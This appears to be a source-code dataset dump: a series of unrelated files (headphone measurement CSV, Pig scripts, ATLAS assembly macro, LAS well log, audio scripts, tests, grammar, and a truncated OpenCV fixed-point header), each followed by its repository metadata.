969.09,-0.81
978.78,-0.61
988.57,-0.31
998.46,-0.04
1008.44,0.07
1018.53,0.21
1028.71,0.25
1039.00,0.25
1049.39,0.40
1059.88,0.64
1070.48,0.71
1081.19,0.71
1092.00,0.77
1102.92,0.91
1113.95,0.94
1125.09,1.09
1136.34,1.16
1147.70,1.17
1159.18,1.22
1170.77,1.36
1182.48,1.39
1194.30,1.39
1206.25,1.54
1218.31,1.61
1230.49,1.62
1242.80,1.62
1255.22,1.70
1267.78,1.82
1280.45,1.85
1293.26,1.85
1306.19,1.86
1319.25,2.03
1332.45,2.08
1345.77,2.08
1359.23,2.19
1372.82,2.28
1386.55,2.30
1400.41,2.30
1414.42,2.35
1428.56,2.49
1442.85,2.53
1457.28,2.66
1471.85,2.75
1486.57,2.76
1501.43,2.79
1516.45,2.95
1531.61,2.99
1546.93,3.09
1562.40,3.20
1578.02,3.22
1593.80,3.22
1609.74,3.40
1625.84,3.44
1642.10,3.44
1658.52,3.56
1675.10,3.80
1691.85,3.89
1708.77,3.90
1725.86,3.95
1743.12,4.09
1760.55,4.23
1778.15,4.45
1795.94,4.56
1813.90,4.58
1832.03,4.61
1850.36,4.77
1868.86,4.89
1887.55,5.12
1906.42,5.25
1925.49,5.42
1944.74,5.49
1964.19,5.69
1983.83,5.91
2003.67,6.22
2023.71,6.38
2043.94,6.55
2064.38,6.63
2085.03,6.83
2105.88,7.09
2126.94,7.35
2148.20,7.61
2169.69,7.88
2191.38,8.14
2213.30,8.39
2235.43,8.67
2257.78,9.04
2280.36,9.43
2303.17,9.83
2326.20,10.22
2349.46,10.53
2372.95,10.98
2396.68,11.39
2420.65,11.79
2444.86,12.14
2469.31,12.42
2494.00,12.68
2518.94,12.94
2544.13,13.19
2569.57,13.25
2595.27,13.25
2621.22,13.25
2647.43,13.12
2673.90,12.89
2700.64,12.62
2727.65,12.36
2754.93,12.10
2782.48,11.84
2810.30,11.58
2838.40,11.44
2866.79,11.27
2895.46,11.02
2924.41,10.76
2953.65,10.55
2983.19,10.42
3013.02,10.31
3043.15,10.15
3073.58,10.06
3104.32,9.88
3135.36,9.83
3166.72,9.76
3198.38,9.63
3230.37,9.60
3262.67,9.60
3295.30,9.43
3328.25,9.37
3361.53,9.37
3395.15,9.37
3429.10,9.37
3463.39,9.37
3498.03,9.37
3533.01,9.37
3568.34,9.55
3604.02,9.60
3640.06,9.60
3676.46,9.60
3713.22,9.73
3750.36,9.82
3787.86,10.01
3825.74,10.23
3864.00,10.34
3902.64,10.48
3941.66,10.63
3981.08,10.79
4020.89,11.10
4061.10,11.37
4101.71,11.47
4142.73,11.68
4184.15,11.94
4226.00,12.20
4268.26,12.47
4310.94,12.73
4354.05,12.79
4397.59,12.79
4441.56,12.71
4485.98,12.59
4530.84,12.30
4576.15,11.89
4621.91,11.31
4668.13,10.68
4714.81,10.07
4761.96,9.42
4809.58,8.69
4857.67,7.88
4906.25,7.08
4955.31,6.31
5004.87,5.71
5054.91,5.11
5105.46,4.48
5156.52,3.72
5208.08,3.01
5260.16,2.26
5312.77,1.68
5365.89,1.16
5419.55,0.63
5473.75,0.05
5528.49,-0.52
5583.77,-1.05
5639.61,-1.58
5696.00,-2.01
5752.96,-2.51
5810.49,-3.04
5868.60,-3.45
5927.28,-3.81
5986.56,-4.19
6046.42,-4.59
6106.89,-5.05
6167.96,-5.32
6229.64,-5.62
6291.93,-6.03
6354.85,-6.43
6418.40,-6.74
6482.58,-7.01
6547.41,-7.27
6612.88,-7.57
6679.01,-7.94
6745.80,-8.27
6813.26,-8.54
6881.39,-8.81
6950.21,-9.04
7019.71,-9.14
7089.91,-9.37
7160.81,-9.63
7232.41,-9.89
7304.74,-9.99
7377.79,-10.18
7451.56,-10.27
7526.08,-10.42
7601.34,-10.55
7677.35,-10.78
7754.13,-10.89
7831.67,-10.91
7909.98,-10.93
7989.08,-11.09
8068.98,-11.14
8149.67,-11.14
8231.16,-11.14
8313.47,-11.14
8396.61,-11.14
8480.57,-11.14
8565.38,-11.14
8651.03,-11.06
8737.54,-10.94
8824.92,-10.78
8913.17,-10.70
9002.30,-10.50
9092.32,-10.24
9183.25,-9.98
9275.08,-9.67
9367.83,-9.30
9461.51,-8.91
9556.12,-8.52
9651.68,-8.02
9748.20,-7.36
9845.68,-6.61
9944.14,-5.77
10043.58,-4.87
10144.02,-3.95
10245.46,-2.95
10347.91,-1.82
10451.39,-0.79
10555.91,-0.04
10661.46,0.10
10768.08,-0.51
10875.76,-1.46
10984.52,-2.78
11094.36,-4.22
11205.31,-5.66
11317.36,-6.97
11430.53,-8.01
11544.84,-8.94
11660.29,-9.86
11776.89,-10.68
11894.66,-11.45
12013.60,-12.10
12133.74,-12.63
12255.08,-13.15
12377.63,-13.60
12501.41,-14.10
12626.42,-14.44
12752.68,-14.84
12880.21,-15.07
13009.01,-15.21
13139.10,-15.37
13270.49,-15.46
13403.20,-15.65
13537.23,-15.73
13672.60,-15.83
13809.33,-15.74
13947.42,-15.70
14086.90,-15.70
14227.77,-15.46
14370.04,-15.16
14513.74,-14.71
14658.88,-14.26
14805.47,-13.76
14953.52,-13.17
15103.06,-12.31
15254.09,-11.04
15406.63,-9.48
15560.70,-7.62
15716.30,-5.80
15873.47,-4.13
16032.20,-2.98
16192.52,-3.70
16354.45,-5.67
16517.99,-8.28
16683.17,-10.32
16850.01,-11.98
17018.51,-13.37
17188.69,-14.55
17360.58,-15.61
17534.18,-16.55
17709.53,-17.16
17886.62,-17.68
18065.49,-18.25
18246.14,-18.83
18428.60,-19.22
18612.89,-19.42
18799.02,-19.76
18987.01,-20.10
19176.88,-20.31
19368.65,-20.46
19562.33,-20.37
19757.96,-20.05
19955.54,-19.67
| CSV | 0 | vinzmc/AutoEq | measurements/headphonecom/data/inear/Cardas EM5813/Cardas EM5813.csv | [
"MIT"
] |
A = LOAD '$INPUT' AS (word:CHARARRAY, count:INT);
B = FOREACH A GENERATE count, word;
C = ORDER B BY count DESC;
STORE C INTO '$OUTPUT';
| PigLatin | 3 | kokosing/hue | apps/oozie/examples/unmanaged/pig/aggregate.pig | [
"Apache-2.0"
] |
;
; ATL_dJIK30x30x30TN30x30x0_a1.mcr
;
; ATLAS "Speed of Light" DGEMM() kernel for AMD Athlon
; Code author: Julian Ruhe (ruheejih@linux.zrz.tu-berlin.de | Julian.Ruhe@t-online.de)
;
%define NB 30
%define ELM1 -15*8
%define ELM2 -14*8
%define ELM3 -13*8
%define ELM4 -12*8
%define ELM5 -11*8
%define ELM6 -10*8
%define ELM7 -9*8
%define ELM8 -8*8
%define ELM9 -7*8
%define ELM10 -6*8
%define ELM11 -5*8
%define ELM12 -4*8
%define ELM13 -3*8
%define ELM14 -2*8
%define ELM15 -1*8
%define ELM16 -0*8
%define ELM17 1*8
%define ELM18 2*8
%define ELM19 3*8
%define ELM20 4*8
%define ELM21 5*8
%define ELM22 6*8
%define ELM23 7*8
%define ELM24 8*8
%define ELM25 9*8
%define ELM26 10*8
%define ELM27 11*8
%define ELM28 12*8
%define ELM29 13*8
%define ELM30 14*8
%define DOTP1 ebp
%define DOTP2 4*edi
%define DOTP3 esi
%define DOTP4 2*edi
%define DOTP5 edi
%define DOTP6 0
%macro OPERATION 2
%if ELM%1 == 0
rep
%endif
fld qword [eax+DOTP1+ELM%1]
fmul st0,st1
faddp st7
%if ELM%1 == 0
rep
%endif
fld qword [eax+DOTP2+ELM%1]
fmul st0,st1
faddp st6
%if ELM%1 == 0
rep
%endif
fld qword [eax+DOTP3+ELM%1]
fmul st0,st1
faddp st5
%if ELM%1 == 0
rep
%endif
fld qword [eax+DOTP4+ELM%1]
fmul st0,st1
faddp st4
%if ELM%1 == 0
rep
%endif
fld qword [eax+DOTP5+ELM%1]
fmul st0,st1
faddp st3
%if ELM%1 == 0
rep
%endif
fmul qword [eax+DOTP6+ELM%1]
faddp st1
%if ELM%2 == 0
rep
%endif
fld qword [ebx+ELM%2]
%endmacro
| MAXScript | 3 | kevleyski/math-atlas | AtlasBase/kernel/JulianRuhe/ATL_dJIK30x30x30TN30x30x0_a1.mcr | [
"BSD-3-Clause-Clear"
] |
~VERSION INFORMATION
VERS. 2.0 : CWLS LOG ASCII STANDARD -VERSION 2.0
WRAP. NO : ONE LINE PER DEPTH STEP
~WELL INFORMATION
#MNEM.UNIT DATA DESCRIPTION
#----- ----- ---------- -------------------------
STRT .M 1670.0000 :START DEPTH
STOP .M 1670.0000 :STOP DEPTH
STEP .M 0.0000 :STEP
NULL . -999.25 :NULL VALUE
COMP . ANY OIL COMPANY INC. :COMPANY
WELL . AAAAA_2 :WELL
FLD . WILDCAT :FIELD
LOC . 12-34-12-34W5M :LOCATION
PROV . ALBERTA :PROVINCE
SRVC . ANY LOGGING COMPANY INC. :SERVICE COMPANY
DATE . 13-DEC-86 :LOG DATE
UWI . 100123401234W500 :UNIQUE WELL ID
~CURVE INFORMATION
#MNEM.UNIT API CODES CURVE DESCRIPTION
#------------------ ------------ -------------------------
DEPT .M : 1 DEPTH
DT .US/M 60 520 32 00 : 2 SONIC TRANSIT TIME
RHOB .K/M3 45 350 01 00 : 3 BULK DENSITY
NPHI .V/V 42 890 00 00 : 4 NEUTRON POROSITY
SFLU .OHMM 07 220 04 00 : 5 SHALLOW RESISTIVITY
SFLA .OHMM 07 222 01 00 : 6 SHALLOW RESISTIVITY
ILM .OHMM 07 120 44 00 : 7 MEDIUM RESISTIVITY
ILD .OHMM 07 120 46 00 : 8 DEEP RESISTIVITY
~PARAMETER INFORMATION
#MNEM.UNIT VALUE DESCRIPTION
#-------------- ---------------- -----------------------------------------------
MUD . GEL CHEM : MUD TYPE
BHT .DEGC 35.5000 : BOTTOM HOLE TEMPERATURE
BS .MM 200.0000 : BIT SIZE
FD .K/M3 1000.0000 : FLUID DENSITY
MATR . SAND : NEUTRON MATRIX
MDEN . 2710.0000 : LOGGING MATRIX DENSITY
RMF .OHMM 0.2160 : MUD FILTRATE RESISTIVITY
DFD .K/M3 1525.0000 : DRILL FLUID DENSITY
~OTHER
Note: The logging tools became stuck at 625 metres causing the data
between 625 metres and 615 metres to be invalid.
~A DEPTH DT RHOB NPHI SFLU SFLA ILM ILD
1670.000 123.450 2550.000 0.450 123.450 123.450 110.200 105.600
| Lasso | 2 | tui95/lasio | tests/examples/single_step_20.las | [
"MIT"
] |
a { value: url(\61 bc) } | CSS | 1 | mengxy/swc | crates/swc_css_parser/tests/fixture/esbuild/misc/gPpnAqOuxEdLAEJjFaUEkg/input.css | [
"Apache-2.0"
] |
// Syntax Highlighting test file for Pike
/* Some Comments about this file */
// Hello world in Pike
int main() {
write("Hello world!\n");
return 0;
}
//! \todo <- Documentation Doxygen Keyword highlighting
mixed something;
something = 5;
something = 2.5;
string testString;
testString = "a regular string";
testString = "an open string
// Print a list of unique characters
string data = "an apple a day";
array(string) chars = data/"";
mapping(string:int) seen = ([]);
foreach(chars ;; string char)
seen[char]++;
write("unique chars are: %s\n", sort(indices(seen))*"");
| Pike | 3 | ekkipermana/robotframework-test | Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/tests/syntax/pike.pike | [
"bzip2-1.0.6"
] |
---
permalink: /docsearch.js
---
{{ "node_modules/docsearch.js/dist/cdn/docsearch.min.js" | includeraw | safe }}
| Liquid | 0 | ViGi-P/rome | website/src/docsearch-js.liquid | [
"MIT"
] |
// name: vocoder.ck
// desc: demo of Faust chugin in action!
// instantiate and connect faust => ck
adc => Faust vocoder => dac;
// evaluate Faust code
vocoder.eval(`
process = dm.vocoder_demo ;
`);
// parameter dump
vocoder.dump();
// time loop
while( true )
{
// advance time
100::ms => now;
}
| ChucK | 3 | mariobuoninfante/chugins | Faust/examples/vocoder.ck | [
"MIT"
] |
Pair: class template <T, V> {
left: T
right: V
init: func (=left, =right)
operator == (other: This<T, V>) -> Bool {
left == other left && right == other right
}
}
describe("class templates should work", ||
pair1 := Pair<String, Int> new("hi", 0)
pair2 := Pair<String, Int> new("world", 42)
expect(false, pair1 == pair2)
)
| ooc | 4 | shamanas/rock | test/compiler/classes/class-template-simple.ooc | [
"MIT"
] |
// FIRConvolveHomer.ck by Perry R. Cook, 10/12
// Use FIR to convolve mic input with "dope!"
adc => Gain g => FIR imp => dac;
SndBuf s => dac;
"special:dope" => s.read;
s.samples() => imp.order;
for (0 => int i; i < imp.order(); i++) {
imp.coeff(i,s.last());
1.0 :: samp => now;
}
5.0 :: second => now;
| ChucK | 4 | ccdarabundit/chugins | FIR/examples/FIRConvolveHomer.ck | [
"MIT"
] |
--D = load './student_data.txt' USING PigStorage(',') as (id : int, firstname:chararray, lastname:chararray, phone:chararray, city:chararray);
D = load './student_data4.txt' USING PigStorage(',') as (id : int, firstname:chararray, lastname:chararray, phone:chararray, city:chararray);
RegisTer hdfs://abracadabra:9000/student_data.jar ;register ivy://com.linkedin.pig:pig:0.15.0.14;
B = load './student_data2.txt' USING PigStorage(',') as (id:int, firstname:chararray, lastname :chararray, phone:chararray, city:chararray);
RegisTer file:/abracadabra/student_data.jar;
C = UNiON D , B;/*vsfvsfv*sfvsf*vfdvb*/
regISTER fooBar.py; | PigLatin | 3 | LorenzNickelj/plugin-for-apache | hadoop-plugin/src/test/pig/TestPigDependencyValidator.pig | [
"Apache-2.0"
] |
SCDoc.helpSourceDir = thisProcess.argv[0];
SCDoc.helpTargetDir = thisProcess.argv[1];
SCDoc.renderAll;
0.exit;
| SuperCollider | 1 | sonoro1234/Lua2SC | lua2SC/renderSChelp/renderAllHelp.scd | [
"MIT"
] |
(ns fw.test.parallel
(:require
[chai :refer [expect]]
[fw.lib.parallel :refer [parallel each]]))
(defn ^:private delay
[lambda]
(set-timeout lambda (* (.random Math) 100)))
(suite :parallel
(fn []
(test :basic
(fn [done]
(parallel
[ (fn [next] (delay (fn [] (next))))
(fn [next] (delay (fn [] (next))))
(fn [next] (delay (fn [] (next))))
(fn [next] (delay (fn [] (next)))) ]
(fn [err result]
(.to.be.equal (expect err) nil)
(.to.be.an (expect result) :array)
(.to.have.length (expect result) 0) (done)))))
(test :result
(fn [done]
(parallel
[ (fn [next] (delay (fn [] (next nil 1))))
(fn [next] (delay (fn [] (next nil))))
(fn [next] (delay (fn [] (next nil 2))))
(fn [next] (delay (fn [] (next nil)))) ]
(fn [err result]
(.to.be.equal (expect err) nil)
(.to.be.an (expect result) :array)
(.to.have.length (expect result) 2)
(.to.include (expect result) 1)
(.to.include (expect result) 2) (done)))))
(test :multicall
(fn [done]
(parallel
[ (fn [next] (delay (fn [] (next nil 1))))
(fn [next] (delay (fn [] (next nil) (next :error))))
(fn [next] (delay (fn [] (next nil 2) (next :fail))))
(fn [next] (delay (fn [] (next nil)))) ]
(fn [err result]
(.to.be.equal (expect err) nil)
(.to.be.an (expect result) :array)
(.to.have.length (expect result) 2)
(.to.include (expect result) 1)
(.to.include (expect result) 2) (done)))))
(test :error
(fn [done]
(parallel
[ (fn [next] (delay (fn [] (next nil))))
(fn [next] (delay (fn [] (next :error 1))))
(fn [next] (delay (fn [] (next nil))))
(fn [next] (delay (fn [] (next :fail 2)))) ]
(fn [err result]
(.to.be.a (expect err) :string)
(.to.be.an (expect result) :array)
(.to.have.length (expect result) 2)
(.to.include (expect result) 1)
(.to.include (expect result) 2) (done)))))
(test :empty
(fn [done]
(parallel
[]
(fn [err result]
(.to.be.equal (expect err) nil)
(.to.be.an (expect result) :array)
(.to.have.length (expect result) 0) (done)))))))
(suite :each
(fn []
(test :basic
(fn [done]
(each
[1 2 3]
(fn [item next] (delay (fn [] (next nil (* item 2)))))
(fn [err result]
(.to.be.equal (expect err) nil)
(.to.be.an (expect result) :array)
(.to.have.length (expect result) 3)
(.to.include (expect result) 4)
(.to.include (expect result) 6) (done)))))
(test :error
(fn [done]
(each
[1 2 3]
(fn [item next] (delay (fn [] (next :error (* item 2)))))
(fn [err result]
(.to.be.equal (expect err) :error)
(.to.be.an (expect result) :array)
(.to.have.length (expect result) 3)
(.to.include (expect result) 4)
(.to.include (expect result) 6) (done)))))
(test :empty
(fn [done]
(each
[]
(fn [])
(fn [err result]
(.to.be.equal (expect err) nil)
(.to.be.an (expect result) :array)
(.to.have.length (expect result) 0) (done)))))))
| wisp | 4 | h2non/fw | test/parallel.wisp | [
"MIT"
] |
{% extends 'interface.template.html' %} | HTML | 0 | coreyscherbing/angular | aio/tools/transforms/templates/api/value-module.template.html | [
"MIT"
] |
{#ASda}
========
Conclusion
----------
<div class="hidden">
\begin{code}
main = putStrLn "Easter Egg: to force Makefile"
\end{code}
</div>
Conclusion
==========
Liquid Types
------------
Generalize Program **Logics** via **Types**
<br>
<div class="fragment">Expressive *and* Automatic</div>
Liquid Types
------------
Generalize Program **Logics** via **Types**
<br>
Expressive *and* Automatic
<br>
**Take Home 1: Inference**
+ Typecheck "templates"
+ Abstract Interpretation
Liquid Types
------------
Generalize Program **Logics** via **Types**
<br>
Expressive *and* Automatic
<br>
**Take Home 2: Uninterpreted Functions**
+ Measures for Datatype properties
+ Abstract Refinements
Liquid Types
------------
Generalize Program **Logics** via **Types**
<br>
Expressive *and* Automatic
<br>
**Take Home 3: Laziness breaks *partial* correctness**
+ Use refinements prove termination
+ Use termination to prove refinements
<!--
Take Home Messages
------------------
1. <div class="fragment"> **Inference**
+ Typecheck "templates"
+ Abstract Interpretation
</div>
2. <div class="fragment">**Uninterpreted functions**
+ Measures for Datatype properties
+ Abstract Refinements
</div>
3. <div class="fragment">**Laziness breaks *partial* correctness**
+ Use refinements prove termination
+ Use termination to prove refinements
</div>
Future Work
-----------
<br>
<br>
- <div class="fragment">Speed</div>
- <div class="fragment">Case Studies</div>
- <div class="fragment">**Error Feedback**</div>
-->
{#asd}
=======
Thank You!
----------
<br>
[`http://goto.ucsd.edu/liquid`](http://goto.ucsd.edu/liquid)
<br>
| Literate Haskell | 2 | curiousleo/liquidhaskell | docs/slides/IHP14/lhs/12_Conclusion.lhs | [
"MIT",
"BSD-3-Clause"
] |
(ns open-api-petstore.specs.tag
(:require [clojure.spec.alpha :as s]
[spec-tools.data-spec :as ds]
)
(:import (java.io File)))
(def tag-data
{
(ds/opt :id) int?
(ds/opt :name) string?
})
(def tag-spec
(ds/spec
{:name ::tag
:spec tag-data}))
| Clojure | 4 | MalcolmScoffable/openapi-generator | samples/client/petstore/clojure/src/open_api_petstore/specs/tag.clj | [
"Apache-2.0"
] |
/*
* Checkpoint statement
*/
CheckPointStmt:
FORCE CHECKPOINT
{
PGCheckPointStmt *n = makeNode(PGCheckPointStmt);
n->force = true;
$$ = (PGNode *)n;
}
| CHECKPOINT
{
PGCheckPointStmt *n = makeNode(PGCheckPointStmt);
n->force = false;
$$ = (PGNode *)n;
}
;
| Yacc | 4 | AldoMyrtaj/duckdb | third_party/libpg_query/grammar/statements/checkpoint.y | [
"MIT"
] |
// This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
//
// Copyright (C) 2017, Intel Corporation, all rights reserved.
// Third party copyrights are property of their respective owners.
#ifndef _CV_FIXEDPOINT_HPP_
#define _CV_FIXEDPOINT_HPP_
namespace {
class fixedpoint64
{
private:
int64_t val;
fixedpoint64(int64_t _val) : val(_val) {}
static CV_ALWAYS_INLINE uint64_t fixedround(const uint64_t& _val) { return (_val + ((1LL << fixedShift) >> 1)); }
public:
static const int fixedShift = 32;
typedef fixedpoint64 WT;
typedef int64_t raw_t;
CV_ALWAYS_INLINE fixedpoint64() { val = 0; }
CV_ALWAYS_INLINE fixedpoint64(const fixedpoint64& v) { val = v.val; }
CV_ALWAYS_INLINE fixedpoint64(const int8_t& _val) { val = ((int64_t)_val) << fixedShift; }
CV_ALWAYS_INLINE fixedpoint64(const uint8_t& _val) { val = ((int64_t)_val) << fixedShift; }
CV_ALWAYS_INLINE fixedpoint64(const int16_t& _val) { val = ((int64_t)_val) << fixedShift; }
CV_ALWAYS_INLINE fixedpoint64(const uint16_t& _val) { val = ((int64_t)_val) << fixedShift; }
CV_ALWAYS_INLINE fixedpoint64(const int32_t& _val) { val = ((int64_t)_val) << fixedShift; }
CV_ALWAYS_INLINE fixedpoint64(const cv::softdouble& _val) { val = cvRound64(_val * cv::softdouble((int64_t)(1LL << fixedShift))); }
CV_ALWAYS_INLINE fixedpoint64& operator = (const int8_t& _val) { val = ((int64_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE fixedpoint64& operator = (const uint8_t& _val) { val = ((int64_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE fixedpoint64& operator = (const int16_t& _val) { val = ((int64_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE fixedpoint64& operator = (const uint16_t& _val) { val = ((int64_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE fixedpoint64& operator = (const int32_t& _val) { val = ((int64_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE fixedpoint64& operator = (const cv::softdouble& _val) { val = cvRound64(_val * cv::softdouble((int64_t)(1LL << fixedShift))); return *this; }
CV_ALWAYS_INLINE fixedpoint64& operator = (const fixedpoint64& _val) { val = _val.val; return *this; }
CV_ALWAYS_INLINE fixedpoint64 operator * (const int8_t& val2) const { return operator *(fixedpoint64(val2)); }
CV_ALWAYS_INLINE fixedpoint64 operator * (const uint8_t& val2) const { return operator *(fixedpoint64(val2)); }
CV_ALWAYS_INLINE fixedpoint64 operator * (const int16_t& val2) const { return operator *(fixedpoint64(val2)); }
CV_ALWAYS_INLINE fixedpoint64 operator * (const uint16_t& val2) const { return operator *(fixedpoint64(val2)); }
CV_ALWAYS_INLINE fixedpoint64 operator * (const int32_t& val2) const { return operator *(fixedpoint64(val2)); }
CV_ALWAYS_INLINE fixedpoint64 operator * (const fixedpoint64& val2) const
{
bool sign_val = val < 0;
bool sign_mul = val2.val < 0;
uint64_t uval = sign_val ? (uint64_t)(-val) : (uint64_t)val;
uint64_t umul = sign_mul ? (uint64_t)(-val2.val) : (uint64_t)val2.val;
bool ressign = sign_val ^ sign_mul;
uint64_t sh0 = fixedround((uval & 0xFFFFFFFF) * (umul & 0xFFFFFFFF));
uint64_t sh1_0 = (uval >> 32) * (umul & 0xFFFFFFFF);
uint64_t sh1_1 = (uval & 0xFFFFFFFF) * (umul >> 32);
uint64_t sh2 = (uval >> 32) * (umul >> 32);
uint64_t val0_l = (sh1_0 & 0xFFFFFFFF) + (sh1_1 & 0xFFFFFFFF) + (sh0 >> 32);
uint64_t val0_h = (sh2 & 0xFFFFFFFF) + (sh1_0 >> 32) + (sh1_1 >> 32) + (val0_l >> 32);
val0_l &= 0xFFFFFFFF;
if (sh2 > CV_BIG_INT(0x7FFFFFFF) || val0_h > CV_BIG_INT(0x7FFFFFFF))
return (int64_t)(ressign ? CV_BIG_UINT(0x8000000000000000) : CV_BIG_INT(0x7FFFFFFFFFFFFFFF));
if (ressign)
{
return -(int64_t)(val0_h << 32 | val0_l);
}
return (int64_t)(val0_h << 32 | val0_l);
}
CV_ALWAYS_INLINE fixedpoint64 operator + (const fixedpoint64& val2) const
{
int64_t res = val + val2.val;
return (int64_t)(((val ^ res) & (val2.val ^ res)) < 0 ? ~(res & CV_BIG_UINT(0x8000000000000000)) : res);
}
CV_ALWAYS_INLINE fixedpoint64 operator - (const fixedpoint64& val2) const
{
int64_t res = val - val2.val;
return (int64_t)(((val ^ val2.val) & (val ^ res)) < 0 ? ~(res & CV_BIG_UINT(0x8000000000000000)) : res);
}
CV_ALWAYS_INLINE fixedpoint64 operator >> (int n) const { return fixedpoint64(val >> n); }
CV_ALWAYS_INLINE fixedpoint64 operator << (int n) const { return fixedpoint64(val << n); }
CV_ALWAYS_INLINE bool operator == (const fixedpoint64& val2) const { return val == val2.val; }
template <typename ET>
CV_ALWAYS_INLINE ET saturate_cast() const { return cv::saturate_cast<ET>((int64_t)fixedround((uint64_t)val) >> fixedShift); }
CV_ALWAYS_INLINE operator double() const { return (double)val / (1LL << fixedShift); }
CV_ALWAYS_INLINE operator float() const { return (float)val / (1LL << fixedShift); }
CV_ALWAYS_INLINE operator uint8_t() const { return saturate_cast<uint8_t>(); }
CV_ALWAYS_INLINE operator int8_t() const { return saturate_cast<int8_t>(); }
CV_ALWAYS_INLINE operator uint16_t() const { return saturate_cast<uint16_t>(); }
CV_ALWAYS_INLINE operator int16_t() const { return saturate_cast<int16_t>(); }
CV_ALWAYS_INLINE operator int32_t() const { return saturate_cast<int32_t>(); }
CV_ALWAYS_INLINE bool isZero() { return val == 0; }
static CV_ALWAYS_INLINE fixedpoint64 zero() { return fixedpoint64(); }
static CV_ALWAYS_INLINE fixedpoint64 one() { return fixedpoint64((int64_t)(1LL << fixedShift)); }
friend class fixedpoint32;
};
class ufixedpoint64
{
private:
uint64_t val;
ufixedpoint64(uint64_t _val) : val(_val) {}
static CV_ALWAYS_INLINE uint64_t fixedround(const uint64_t& _val) { return (_val + ((1LL << fixedShift) >> 1)); }
public:
static const int fixedShift = 32;
typedef ufixedpoint64 WT;
typedef uint64_t raw_t;
CV_ALWAYS_INLINE ufixedpoint64() { val = 0; }
CV_ALWAYS_INLINE ufixedpoint64(const ufixedpoint64& v) { val = v.val; }
CV_ALWAYS_INLINE ufixedpoint64(const uint8_t& _val) { val = ((uint64_t)_val) << fixedShift; }
CV_ALWAYS_INLINE ufixedpoint64(const uint16_t& _val) { val = ((uint64_t)_val) << fixedShift; }
CV_ALWAYS_INLINE ufixedpoint64(const uint32_t& _val) { val = ((uint64_t)_val) << fixedShift; }
CV_ALWAYS_INLINE ufixedpoint64(const cv::softdouble& _val) { val = _val.getSign() ? 0 : (uint64_t)cvRound64(_val * cv::softdouble((int64_t)(1LL << fixedShift))); }
CV_ALWAYS_INLINE ufixedpoint64& operator = (const uint8_t& _val) { val = ((uint64_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE ufixedpoint64& operator = (const uint16_t& _val) { val = ((uint64_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE ufixedpoint64& operator = (const uint32_t& _val) { val = ((uint64_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE ufixedpoint64& operator = (const cv::softdouble& _val) { val = _val.getSign() ? 0 : (uint64_t)cvRound64(_val * cv::softdouble((int64_t)(1LL << fixedShift))); return *this; }
CV_ALWAYS_INLINE ufixedpoint64& operator = (const ufixedpoint64& _val) { val = _val.val; return *this; }
CV_ALWAYS_INLINE ufixedpoint64 operator * (const uint8_t& val2) const { return operator *(ufixedpoint64(val2)); }
CV_ALWAYS_INLINE ufixedpoint64 operator * (const uint16_t& val2) const { return operator *(ufixedpoint64(val2)); }
CV_ALWAYS_INLINE ufixedpoint64 operator * (const uint32_t& val2) const { return operator *(ufixedpoint64(val2)); }
CV_ALWAYS_INLINE ufixedpoint64 operator * (const ufixedpoint64& val2) const
{
uint64_t sh0 = fixedround((val & 0xFFFFFFFF) * (val2.val & 0xFFFFFFFF));
uint64_t sh1_0 = (val >> 32) * (val2.val & 0xFFFFFFFF);
uint64_t sh1_1 = (val & 0xFFFFFFFF) * (val2.val >> 32);
uint64_t sh2 = (val >> 32) * (val2.val >> 32);
uint64_t val0_l = (sh1_0 & 0xFFFFFFFF) + (sh1_1 & 0xFFFFFFFF) + (sh0 >> 32);
uint64_t val0_h = (sh2 & 0xFFFFFFFF) + (sh1_0 >> 32) + (sh1_1 >> 32) + (val0_l >> 32);
val0_l &= 0xFFFFFFFF;
if (sh2 > CV_BIG_INT(0xFFFFFFFF) || val0_h > CV_BIG_INT(0xFFFFFFFF))
return (uint64_t)CV_BIG_UINT(0xFFFFFFFFFFFFFFFF);
return (val0_h << 32 | val0_l);
}
CV_ALWAYS_INLINE ufixedpoint64 operator + (const ufixedpoint64& val2) const
{
uint64_t res = val + val2.val;
return (uint64_t)((val > res) ? CV_BIG_UINT(0xFFFFFFFFFFFFFFFF) : res);
}
CV_ALWAYS_INLINE ufixedpoint64 operator - (const ufixedpoint64& val2) const
{
return val > val2.val ? (val - val2.val) : 0;
}
CV_ALWAYS_INLINE ufixedpoint64 operator >> (int n) const { return ufixedpoint64(val >> n); }
CV_ALWAYS_INLINE ufixedpoint64 operator << (int n) const { return ufixedpoint64(val << n); }
CV_ALWAYS_INLINE bool operator == (const ufixedpoint64& val2) const { return val == val2.val; }
template <typename ET>
CV_ALWAYS_INLINE ET saturate_cast() const { return cv::saturate_cast<ET>(fixedround(val) >> fixedShift); }
CV_ALWAYS_INLINE operator double() const { return (double)val / (1LL << fixedShift); }
CV_ALWAYS_INLINE operator float() const { return (float)val / (1LL << fixedShift); }
CV_ALWAYS_INLINE operator uint8_t() const { return saturate_cast<uint8_t>(); }
CV_ALWAYS_INLINE operator int8_t() const { return saturate_cast<int8_t>(); }
CV_ALWAYS_INLINE operator uint16_t() const { return saturate_cast<uint16_t>(); }
CV_ALWAYS_INLINE operator int16_t() const { return saturate_cast<int16_t>(); }
CV_ALWAYS_INLINE operator int32_t() const { return saturate_cast<int32_t>(); }
CV_ALWAYS_INLINE bool isZero() { return val == 0; }
static CV_ALWAYS_INLINE ufixedpoint64 zero() { return ufixedpoint64(); }
static CV_ALWAYS_INLINE ufixedpoint64 one() { return ufixedpoint64((uint64_t)(1ULL << fixedShift)); }
static CV_ALWAYS_INLINE ufixedpoint64 fromRaw(uint64_t v) { return ufixedpoint64(v); }
CV_ALWAYS_INLINE uint64_t raw() { return val; }
CV_ALWAYS_INLINE uint32_t cvFloor() const { return cv::saturate_cast<uint32_t>(val >> fixedShift); }
friend class ufixedpoint32;
};
class fixedpoint32
{
private:
int32_t val;
fixedpoint32(int32_t _val) : val(_val) {}
static CV_ALWAYS_INLINE uint32_t fixedround(const uint32_t& _val) { return (_val + ((1 << fixedShift) >> 1)); }
public:
static const int fixedShift = 16;
